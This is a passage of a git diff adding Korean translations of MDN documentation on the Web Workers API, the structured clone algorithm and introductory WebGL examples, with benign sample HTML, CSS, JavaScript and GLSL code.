+    {{CompatNo}} 6.1<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td>Passing data using <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a></td>
+   <td>13</td>
+   <td>{{CompatGeckoDesktop(8)}}</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Passing data using <a href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#transferable-objects">transferable objects</a></td>
+   <td>17 {{property_prefix("webkit")}}<br>
+    21</td>
+   <td>{{CompatGeckoDesktop(18)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Global {{domxref("window.URL", "URL")}}</td>
+   <td>10<sup>[3]</sup><br>
+    23</td>
+   <td>{{CompatGeckoDesktop(21)}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>4<sup>[1]</sup></td>
+   <td>3.5</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5<sup>[1]</sup></td>
+   <td>5.1<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td>Shared workers</td>
+   <td>{{CompatNo}}</td>
+   <td>4<sup>[1]</sup></td>
+   <td>8</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Passing data using <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a></td>
+   <td>{{CompatNo}}</td>
+   <td>4</td>
+   <td>8</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Passing data using <a href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#transferable-objects">transferable objects</a></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>18</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Chrome and Opera give an error "<code>Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'.</code>" when you try to run a worker locally. It needs to be on a proper domain.</p>
+
+<p>[2] As of Safari 7.1.2, you can call <code>console.log</code> from inside a worker, but it won't print anything to the console. Older versions of Safari don't allow you to call <code>console.log</code> from inside a worker.</p>
+
+<p>[3] This feature is implemented prefixed as <code>webkitURL</code>.</p>
+
+<p>[4] Safari <a href="https://bugs.webkit.org/show_bug.cgi?id=116359">removed SharedWorker support</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">Worker</a></code> interface</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker">SharedWorker</a></code> interface</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Functions available to workers</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Advanced concepts and examples</a></li>
+</ul>
diff --git a/files/ko/web/api/web_workers_api/index.html b/files/ko/web/api/web_workers_api/index.html
new file mode 100644
index 0000000000..82f4e11f55
--- /dev/null
+++ b/files/ko/web/api/web_workers_api/index.html
@@ -0,0 +1,92 @@
+---
+title: Web Workers API
+slug: Web/API/Web_Workers_API
+tags:
+  - API
+  - Overview
+  - Reference
+  - Web Workers
+  - 워커
+  - 웹 워커
+translation_of: Web/API/Web_Workers_API
+---
+<div>{{DefaultAPISidebar("Web Workers API")}}</div>
+
+<p><strong>웹 워커</strong>(Web worker)는 스크립트 연산을 웹 어플리케이션의 주 실행 스레드와 분리된 별도의 백그라운드 스레드에서 실행할 수 있는 기술입니다. 웹 워커를 통해 무거운 작업을 분리된 스레드에서 처리하면 주 스레드(보통 UI 스레드)가 멈추거나 느려지지 않고 동작할 수 있습니다.</p>
+
+<h2 id="웹_워커의_개념과_활용법">웹 워커의 개념과 활용법</h2>
+
+<p>워커는 이름을 지정한 JavaScript 파일을 구동하는 객체로서 {{domxref("Worker.Worker", "Worker()")}} 등의 생성자로 생성합니다. 해당 파일은 현재 {{domxref("window")}}와는 다른 전역 맥락에서 동작하는 워커 스레드에서 작동합니다. 이 때, 전역 맥락은 전용 워커(단일 스크립트에서만 사용하는 워커)의 경우 {{domxref("DedicatedWorkerGlobalScope")}} 객체이고, 공유 워커(여러 스크립트에서 공유하는 워커)의 경우 {{domxref("SharedWorkerGlobalScope")}} 객체입니다.</p>
+
+<p>원하는 코드는 뭐든 워커 스레드에서 실행할 수 있으나 몇 가지 예외가 존재합니다. 예를 들어 워커에서 DOM을 직접 조작할 수 없고, {{domxref("window")}}의 일부 메서드와 속성은 사용할 수 없습니다. 그러나 <a href="/ko/docs/Web/API/WebSockets_API">WebSocket</a>과 <a href="/ko/docs/Web/API/IndexedDB_API">IndexedDB</a>를 포함한 많은 수의 항목은 사용 가능합니다. <a class="new" href="/ko/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers" rel="nofollow" title="https://developer.mozilla.org/En/DOM/Worker/Functions_available_to_workers">워커에서 사용할 수 있는 함수와 클래스</a>에서 더 자세히 알아보세요.</p>
+
+<p>워커와 메인 스레드 간의 데이터 교환은 메시지 시스템을 사용합니다. 양측 모두 postMessage() 메서드를 사용해 전송하고, <code>onmessage</code> 이벤트 처리기(메시지는 {{Event("Message")}}의 <code>data</code> 속성에 들어있습니다)를 사용해 수신합니다. 전송하는 데이터는 복사하며 공유하지 않습니다.</p>
+
+<p>워커 역시 새로운 워커를 생성할 수 있습니다. 단, 생성하려는 워커가 부모 페이지와 동일한 {{glossary("origin", "출처")}}에 호스팅 되어있어야 합니다. 추가로, 워커는 {{domxref("XMLHttpRequest")}}를 사용해 네트워크 입출력을 할 수 있지만 <code>responseXML</code>과 <code>channel</code> 특성은 항상 {{jsxref("null")}}을 반환합니다.</p>
+
+<p>전용 워커 외에도 다음과 같은 다른 유형의 워커도 존재합니다.</p>
+
+<ul>
+ <li>공유 워커는 워커와 도메인이 같다면 창, IFrame, 등등 여러 곳에서 작동 중인 다수의 스크립트에서 사용 가능한 워커입니다. 전용 워커보다 복잡한 편으로, 스크립트간 통신은 활성 포트를 통해 이뤄져야 합니다. {{domxref("SharedWorker")}} 문서에서 더 자세히 알아보세요.</li>
+ <li>서비스 워커는 웹 응용 프로그램, 브라우저, 그리고 (사용 가능한 경우) 네트워크 사이의 프록시 서버 역할을 합니다. 서비스 워커의 개발 의도는 여러가지가 있지만, 그 중에서도 효과적인 오프라인 경험을 생성하고, 네트워크 요청을 가로채서 네트워크 사용 가능 여부에 따라 적절한 행동을 취하고, 서버의 자산을 업데이트할 수 있습니다. 또한 푸시 알림과 백그라운드 동기화 API로의 접근도 제공합니다.</li>
+ <li>오디오 워커는 웹 워커 맥락 내에서 스크립트를 통한 직접적인 오디오 처리 능력을 제공합니다.</li>
+</ul>
+
+<h2 id="웹_워커_인터페이스">웹 워커 인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("AbstractWorker")}}</dt>
+ <dd>모든 종류의 워커({{domxref("Worker")}}, {{domxref("SharedWorker")}} 등)에 공통적인 속성과 메서드를 추상화합니다.</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>실행 중인 워커 스레드를 나타냅니다. 현재 작동 중인 워커로 메시지를 전송할 때 사용할 수 있습니다.</dd>
+ <dt>{{domxref("WorkerLocation")}}</dt>
+ <dd>{{domxref("Worker")}}가 실행하는 스크립트의 절대 위치를 정의합니다.</dd>
+ <dt>{{domxref("SharedWorker")}}</dt>
+ <dd>다수의 창, {{htmlelement("iframe")}}, 혹은 다른 워커 등 {{glossary("Browsing context", "브라우징 맥락")}} 여러 개에서 접근할 수 있는 특정 종류의 워커를 나타냅니다.</dd>
+ <dt>{{domxref("WorkerGlobalScope")}}</dt>
+ <dd>모든 워커의 통용 범위를 나타냅니다. 통용 범위는 일반적인 웹 콘텐츠의 {{domxref("Window")}}와 같은 역할을 합니다. 각각의 워커 유형별로 이 인터페이스를 상속한 후 보다 세부적인 기능을 추가한 인터페이스를 전역 범위 객체로 사용합니다.</dd>
+ <dt>{{domxref("DedicatedWorkerGlobalScope")}}</dt>
+ <dd>{{domxref("WorkerGlobalScope")}}를 상속해서 몇 가지 전용 기능을 추가한 전용 워커의 범위를 나타냅니다.</dd>
+ <dt>{{domxref("SharedWorkerGlobalScope")}}</dt>
+ <dd>{{domxref("WorkerGlobalScope")}}를 상속해서 몇 가지 전용 기능을 추가한 공유 워커의 범위를 나타냅니다.</dd>
+ <dt>{{domxref("WorkerNavigator")}}</dt>
+ <dd>사용자 에이전트(클라이언트)의 신분과 상태를 나타냅니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>워커의 기본 사용법을 보이는 간단한 데모를 준비해놨습니다.</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/simple-web-worker">기본적인 전용 워커 예제</a> (<a href="http://mdn.github.io/simple-web-worker/">실행</a>)</li>
+ <li><a href="https://github.com/mdn/simple-shared-worker">기본적인 공유 워커 예제</a> (<a href="http://mdn.github.io/simple-shared-worker/">실행</a>)</li>
+</ul>
+
+<p><a href="/ko/docs/Web/API/Web_Workers_API/Using_web_workers">웹 워커 사용하기</a>에서 데모의 동작법을 자세히 알아볼 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#toc-workers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Workers_API/Using_web_workers">웹 워커 사용하기</a></li>
+ <li><a href="/ko/docs/Web/API/Worker"><code>Worker</code> 인터페이스</a></li>
+ <li><a href="/ko/docs/Web/API/SharedWorker"><code>SharedWorker</code> 인터페이스</a></li>
+ <li><a href="/ko/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+ <li><a class="new" href="/ko/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers" rel="nofollow" title="https://developer.mozilla.org/En/DOM/Worker/Functions_available_to_workers">워커에서 사용할 수 있는 함수와 클래스</a></li>
+</ul>
diff --git a/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html
new file mode 100644
index 0000000000..02e4eff883
--- /dev/null
+++ b/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html
@@ -0,0 +1,153 @@
+---
+title: The structured clone algorithm
+slug: Web/API/Web_Workers_API/Structured_clone_algorithm
+translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm
+---
+<p>The structured clone 알고리즘은 복잡한 자바스크립트 객체의 직렬화을 위해서 <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">HTML5 specification</a>에 의해서 정의된 새로운 알고리즘 입니다. 이것은 순환그래프를 포함하는 객체의 직렬화를 지원하기 때문에 <a href="/en/JSON" title="en/JSON">JSON</a>보다 더 유용합니다. — 객체는 같은 그래프에서 다른객체를 참조하는 객체를 참조할 수 있습니다. 이러한 케이스들에서는 structured clone알고리즘이 아마도 JSON보다 더 효율적일 것입니다.</p>
+
+<p> 알고리즘은 본질적으로 원본 객체의 모든 필드를 거치고 각 필드의 값들을 새로운 객체로 복제합니다. 만약 필드가 객체를 가졌다면 모든 필드와 그 서브필드가 새로운 객체로 복제될 때 까지 재귀적으로 동작합니다.</p>
+
+<h2 id="JSON을_넘는_이득">JSON을 넘는 이득</h2>
+
+<p>JSON을 뛰어넘는 structured clone알고리즘의 여러가지 핵심 이득이 있습니다.</p>
+
+<ul>
+ <li>Structured clones은 <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/JavaScript/Reference/Global Objects/regexp"><code>RegExp</code></a> 객체들도 복사할 수 있습니다..</li>
+ <li>Structured clones은 {{ domxref("Blob") }}, {{ domxref("File") }}와 {{ domxref("FileList") }} 객체들도 복사할 수 있습니다..</li>
+ <li>Structured clones은 {{ domxref("ImageData") }} 객체들도 복사할 수 있습니다. 클론된{{ domxref("CanvasPixelArray") }}크기(dimensions)는 원본과 match될 것이고 같은 픽셀 데이터의 복제를 가집니다.</li>
+ <li>Structured clones은 참조들의 순환 그래프들을 포함한 객체들을 올바르게 복제할 수 있습니다.</li>
+</ul>
+
+<h2 id="structured_clones과_함께_동작하지_않는_것들">structured clones과 함께 동작하지 않는 것들</h2>
+
+<ul>
+ <li><code><a href="/en/JavaScript/Reference/Global_Objects/Error" title="en/JavaScript/Reference/Global Objects/Error">Error</a>와</code> <a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/JavaScript/Reference/Global Objects/Function"><code>Function</code></a> 객체들은 structured clone 알고리즘에 의해서 복제될 수 없습니다; 이것을 시도하면 <code>DATA_CLONE_ERR</code> exception을 던질 것 입니다.</li>
+ <li>DOM node들을 클론하려고 시도하는것도 동일하게 <code>DATA_CLONE_ERR</code> exception을 던질 것 입니다.</li>
+ <li>객체들의 몇몇 파라미터들은 보존되지 않습니다:
+  <ul>
+   <li><code><a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/JavaScript/Reference/Global Objects/regexp">RegExp</a>객체들의 liastIndex필드는 보존되지 않습니다.</code></li>
+   <li>Property descriptors, setters, 그리고 getters (이것들과 비슷한 메타데이터같은 기능들)은 복제되지 않습니다. 예를들어서 한 객체가 프로퍼티 디스크립터를 사용하여 읽기전용으로 마크되어져 있다면 이것은 읽기-쓰기가 가능하도록 복제 될 것입니다. 이것이 디폴트 조건이기 때문입니다.</li>
+   <li>프로토타입 체인은 거치지않고 복제되지 않습니다.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Supported_types">Supported types</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Object type</th>
+   <th scope="col">Notes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Data_structures#Primitive_values">All primitive types</a></td>
+   <td>하지만 심볼들은 포함하지 않습니다.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Boolean</a> object</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>String object</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp">RegExp</a></td>
+   <td>lastIndex필드는 보존되지 않습니다.</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("Blob") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ domxref("File") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ domxref("FileList") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/ArrayBuffer">ArrayBuffer</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/ArrayBufferView">ArrayBufferView</a></td>
+   <td>이것은 기본적으로 int32Array나 기타같은 <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a>의 모든것을 의미합니다.</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("ImageData") }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></td>
+   <td>이것은 그냥 plain객체들을 포함합니다.(e.g. 객체 리터럴)</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a></td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="또_다른_방법_깊은_복사(deep_copy‎)">또 다른 방법 : 깊은 복사(deep copy‎)</h2>
+
+<p> 객체의 깊은 복사(deep copy)를 원한다면(모든 프로토타입 체인과 내포된 속성들 까지도), 또다른 접근방식을 사용해야만 합니다. 아래의 예제를 확인하세요.</p>
+
+<pre class="brush: js">function clone(objectToBeCloned) {
+  // Basis.
+  if (!(objectToBeCloned instanceof Object)) {
+    return objectToBeCloned;
+  }
+
+  var objectClone;
+
+  // Filter out special objects.
+  var Constructor = objectToBeCloned.constructor;
+  switch (Constructor) {
+    // Implement other special objects here.
+    case RegExp:
+      objectClone = new Constructor(objectToBeCloned);
+      break;
+    case Date:
+      objectClone = new Constructor(objectToBeCloned.getTime());
+      break;
+    default:
+      objectClone = new Constructor();
+  }
+
+  // Clone each property.
+  for (var prop in objectToBeCloned) {
+    objectClone[prop] = clone(objectToBeCloned[prop]);
+  }
+
+  return objectClone;
+}
+</pre>
+
+<div class="note"><strong>  Note:</strong> 이 알고리즘은 실제로 <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="RegExp"><code>RegExp</code></a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a>, 와 <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a>스페셜 객체들을 구현했습니다. 필요에 따라서 다른 특수한 케이스들을 구현할 수 있습니다.</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html5/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">HTML5 Specification: Safe passing of structured data</a></li>
+ <li>{{ domxref("window.history") }}</li>
+ <li>{{ domxref("window.postMessage()") }}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="/en-US/docs/Components.utils.cloneInto">Components.utils.cloneInto</a></li>
+</ul>
diff --git a/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html b/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html
new file mode 100644
index 0000000000..c79b2f508d
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html
@@ -0,0 +1,110 @@
+---
+title: 클릭을 통한 청소
+slug: Web/API/WebGL_API/By_example/Clearing_by_clicking
+translation_of: Web/API/WebGL_API/By_example/Clearing_by_clicking
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Clearing_with_colors","Learn/WebGL/By_example/Simple_color_animation")}}</p>
+
+<div id="clearing-by-clicking">
+<div class="summary">
+<p>어떻게 유저와 그래픽 기능들과의 상호작용을 결합시킬까. 유저가 클릭을 할 때 랜덤의 색을 가진 랜더링 컨텍스트를 청소하는 것.</p>
+</div>
+
+<p>{{EmbedLiveSample("clearing-by-clicking-source",660,425)}}</p>
+
+<div id="clearing-by-clicking-intro">
+<h3 id="랜덤_색을_가진_랜더링_컨텍스트를_청소">랜덤 색을 가진 랜더링 컨텍스트를 청소</h3>
+
+<p>이 간단한 예시는 어떻게 유저 인터페이스와 {{Glossary("WebGL")}}를 결합할지에 대한 설명을 제공합니다. 유저가 캔버스 혹은 버튼을 클릭할 때 마다, 캔버스는 랜덤으로 선택된 색으로 초기화됩니다.</p>
+
+<p>어떻게 내장된 {{Glossary("WebGL")}} 기능이 이벤트 핸들러의 내부를 부르는 지를 주목하세요. </p>
+</div>
+
+<div id="clearing-by-clicking-source">
+<pre class="brush: html">&lt;p&gt;A very simple WebGL program that still shows some color and
+    user interaction.&lt;/p&gt;
+&lt;p&gt;You can repeatedly click the empty canvas or the button below
+    to change color.&lt;/p&gt;
+&lt;canvas id="canvas-view"&gt;Your browser does not seem to support
+    HTML5 canvas.&lt;/canvas&gt;
+&lt;button id="color-switcher"&gt;Press here to switch color&lt;/button&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: js">window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+
+  // Cleaning after ourselves. The event handler removes
+  // itself, because it only needs to run once.
+  window.removeEventListener(evt.type, setupWebGL, false);
+
+  // Adding the same click event handler to both canvas and
+  // button.
+  var canvas = document.querySelector("#canvas-view");
+  var button = document.querySelector("#color-switcher");
+  canvas.addEventListener("click", switchColor, false);
+  button.addEventListener("click", switchColor, false);
+
+  // A variable to hold the WebGLRenderingContext.
+  var gl;
+
+  // The click event handler.
+  function switchColor () {
+    // Referring to the externally defined gl variable.
+    // If undefined, try to obtain the WebGLRenderingContext.
+    // If failed, alert user of failure.
+    // Otherwise, initialize the drawing buffer (the viewport).
+    if (!gl) {
+      gl = canvas.getContext("webgl")
+        || canvas.getContext("experimental-webgl");
+      if (!gl) {
+        alert("Failed to get WebGL context.\n"
+          + "Your browser or device may not support WebGL.");
+        return;
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+    // Get a random color value using a helper function.
+    var color = getRandomColor();
+    // Set the clear color to the random color.
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+    // Clear the context with the newly set color. This is
+    // the function call that actually does the drawing.
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  // Random color helper function.
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+
+}, false);
+</pre>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/clearing-by-clicking">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Clearing_with_colors","Learn/WebGL/By_example/Simple_color_animation")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html b/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html
new file mode 100644
index 0000000000..087a614d5d
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html
@@ -0,0 +1,72 @@
+---
+title: WebGL 찾기
+slug: Web/API/WebGL_API/By_example/Detect_WebGL
+translation_of: Web/API/WebGL_API/By_example/Detect_WebGL
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example","Learn/WebGL/By_example/Clearing_with_colors")}}</p>
+
+<div id="detect-webgl">
+<div class="summary">
+<p>이 예시는 어떻게 {{Glossary("WebGL")}} 랜더링 컨텐츠를 찾고, 유저에게 결과를 보고할지를 보여줍니다.</p>
+</div>
+
+<p>{{EmbedLiveSample("detect-webgl-source",660,150)}}</p>
+
+<div id="detect-webgl-intro">
+<h3 id="기능-검색_WebGl">기능-검색 WebGl</h3>
+
+<p>이 첫 예시에서, 우리는 브라우저가 {{Glossary("WebGL")}}를 지원하는지 아닌 지를 확인합니다. 우리는 {{domxref("HTMLCanvasElement","canvas")}} element로 부터 {{domxref("WebGLRenderingContext","WebGL rendering context","",1)}}을 얻기 위하여 노력합니다. {{domxref("WebGLRenderingContext","WebGL rendering context", "", 1)}}는 당신이 설정하고 그래픽 기계의 상태를 쿼리하고, WebGl에 데이터를 전송하고, 그리기 명령어들을 실행할 수 있는 인터페이스입니다.</p>
+
+<p>한 문장 인터페이스에서 그래픽 기계의 상태를 저장하는 것은 {{Glossary("WebGL")}}에 고유하지 않습니다. 이것은 또한 다른 그래픽 {̣{Glossary("API")}}, {{domxref("CanvasRenderingContext2D","canvas 2D rendering context", "", 1)}}에 의해 행해집니다. 하지만 특성과 당신이 만드는 변수들은 각 {̣{Glossary("API")}}에서 다를 수 있습니다.</p>
+</div>
+
+<div id="detect-webgl-source">
+<pre class="brush: html">&lt;p&gt;[ Here would go the result of WebGL feature detection ]&lt;/p&gt;
+&lt;button&gt;Press here to detect WebGLRenderingContext&lt;/button&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: js">// Run everything inside window load event handler, to make sure
+// DOM is fully loaded and styled before trying to manipulate it.
+window.addEventListener("load", function() {
+  var paragraph = document.querySelector("p"),
+    button = document.querySelector("button");
+  // Adding click event handler to button.
+  button.addEventListener("click", detectWebGLContext, false);
+  function detectWebGLContext () {
+    // Create canvas element. The canvas is not added to the
+    // document itself, so it is never displayed in the
+    // browser window.
+    var canvas = document.createElement("canvas");
+    // Get WebGLRenderingContext from canvas element.
+    var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+    // Report the result.
+    if (gl &amp;&amp; gl instanceof WebGLRenderingContext) {
+      paragraph.innerHTML =
+        "Congratulations! Your browser supports WebGL.";
+    } else {
+      paragraph.innerHTML = "Failed to get WebGL context. "
+        + "Your browser or device may not support WebGL.";
+    }
+  }
+}, false);
+</pre>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/detect-webgl">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example","Learn/WebGL/By_example/Clearing_with_colors")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html b/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html
new file mode 100644
index 0000000000..45541f1a0b
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html
@@ -0,0 +1,168 @@
+---
+title: Hello GLSL
+slug: Web/API/WebGL_API/By_example/Hello_GLSL
+translation_of: Web/API/WebGL_API/By_example/Hello_GLSL
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Raining_rectangles","Learn/WebGL/By_example/Hello_vertex_attributes")}}</p>
+
+<div id="hello-glsl">
+<div class="summary">
+<p id="hello-glsl-summary">매우 간단한 색이 있는 단단한 사각형을 그려주는 쉐이더 프로그램</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: 이 예시는 대부분 모든 최신의 데스크탑 브라우저에서 동작합니다. 하지만 어떤 모바일 혹은 낡은 브라우저에서는 동작하지 않습니다. 만약 캔버스가 공백인 상태로 남아있다면, 당신은 정확히 똑같은 것을 그리는 다음 예시의 결과를 확인하실 수 있습니다. 하지만 다음으로 넘어가기 전에, 여기서 설명과 코드를 읽고 가는 것을 기억하세요</p>
+</div>
+
+<p>{{EmbedLiveSample("hello-glsl-source",660,425)}}</p>
+
+<div id="hello-glsl-intro">
+<h3 id="Hello_World_프로그램_in_GLSL">Hello World 프로그램 in GLSL</h3>
+
+<p>매우 간단한 첫 쉐이더 프로그램</p>
+</div>
+
+<div id="hello-glsl-source">
+<div class="hidden">
+<pre class="brush: html">&lt;p&gt;Hello World! Hello GLSL!&lt;/p&gt;
+</pre>
+
+<pre class="brush: html">&lt;canvas&gt;Your browser does not seem to support
+    HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+  text-align : center;
+}
+canvas {
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;script type="x-shader/x-vertex" id="vertex-shader"&gt;
+#version 100
+void main() {
+  gl_Position = vec4(0.0, 0.0, 0.0, 1.0);
+  gl_PointSize = 64.0;
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-fragment" id="fragment-shader"&gt;
+#version 100
+void main() {
+  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+&lt;/script&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">;(function(){
+</pre>
+</div>
+
+<pre class="brush: js" id="livesample-js">"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
